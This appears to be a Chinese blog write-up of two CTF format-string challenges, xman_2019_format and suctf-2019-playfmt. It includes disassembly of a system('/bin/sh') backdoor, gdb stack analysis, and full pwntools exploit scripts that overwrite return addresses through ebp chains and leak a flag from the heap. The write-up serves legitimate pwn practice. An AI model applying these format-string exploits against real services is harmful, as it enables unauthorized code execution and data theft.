.text:080485B1 ; 3:   return system("/bin/sh");
.text:080485B1                 sub     esp, 0Ch
.text:080485B4                 push    offset command  ; "/bin/sh"
.text:080485B9                 call    _system
.text:080485BE                 add     esp, 10h
.text:080485C1                 nop
.text:080485C2                 leave
.text:080485C3                 retn

这下可以直接改ret address即可。

gdb分析

先观察一下ebp链是否存在 :

是存在的,然后直接利用就好了。

看一下,在第一次改ebp2里面的值: 0xffffd338 时,发现下面的第二个只需要改一个字节即可,然后目标就是改成这个栈地址了:

然后接着利用漏洞,改一下返回地址到后门函数即可。

(这个题自己在做的时候,先是试着利用第二个的0xffffd2f8 ,这个链发现本地可以打通,远程是不行的,这就是环境因素了,远程由于libc版本的不同,栈结构也是不同的。所以做题还是优先,考虑ebp链,然后没法利用了,在考虑充分利用栈数据,这个通常也是出题人精心设计的栈结构,让你有数据可以利用。)

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
system_addr = 0x080485B4
tag1 = 0x4c
tag2 = 0x85ab
io = process('./xman_2019_format')
# io = remote('node3.buuoj.cn',27012)
payload = '%{}c%10$hhn|'.format(0x4c)
payload += '%{}c%18$hn~'.format(0x85ab)
while True:
    try:
        io.recvuntil('...\n...\n')
        io.sendline(payload)
        sleep(0.1)
        io.recvuntil('~')
        io.sendline('ls')
        io.recvline()
        io.recvline()
        io.interactive()
        break
    except EOFError :
        io.close()
        io = process('./xman_2019_format')
        # io = remote('node3.buuoj.cn',27012)

需要爆破栈。

suctf-2019-playfmt

保护和arch

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了RELRO,这样就无法got hijack了

ida分析

gdb分析

程序先读入了flag文件,自己可以写一个flag文件测试,并且gdb跟随:

其会被读到堆上。紧接着跟到格式化字符串漏洞处:

看一下这个堆地址是否被程序操作修改了:

gdb-peda$ x/s 0x8050b70
0x8050b70:    "flag{f9255a80-e059-4c12-8788-161bf8c6908b}"

发现并没有,那就很简单了。攻击思路就是,在栈上构造出这个存放flag的堆地址(计算方式就是在此时的栈上找一个地址来计算偏移获取)。
第一步:

先修改ebp2上存放的值,改成后面那个框框对应的栈地址,然后在做处理:

0024| 0xffffd318 --> 0xffffd338 --> 0xffffd348 --> 0x8050ba0 --> 0x0

此时再修改ebp1上的值,改成刚刚的堆地址 :


这样exp写的时候,找好偏移%s一下就出来了。

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = remote('node3.buuoj.cn',27816)
io = process('./1')
io.recvuntil('Magic echo Server')
io.recvuntil('=====================\n')
io.sendline('%18$p')
io.recvuntil('0x')
flag = int(io.recv(8),16)
print(hex(flag))
key = int((hex(flag))[-4:],16) - 32 -12 -4
print('key'+ hex(key))
# raw_input('->')
io.sendline('%6$p')
io.recvuntil('0x')
stack_point = int(io.recv(8),16) + 16
tag1 = int((hex(stack_point))[-2:],16)
print(hex(tag1))
payload  = '%' + str(tag1) + 'c%6$hhn' + '1'
raw_input('->')
io.sendline(payload)
io.recvuntil('1')
payload = '%' +  str(key & 0xffff) + 'c%14$hn' + '2'
raw_input('->')
io.sendline(payload)
io.recvuntil('2')
io.sendline('%18$s')
io.interactive()


pwn 学习记录

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!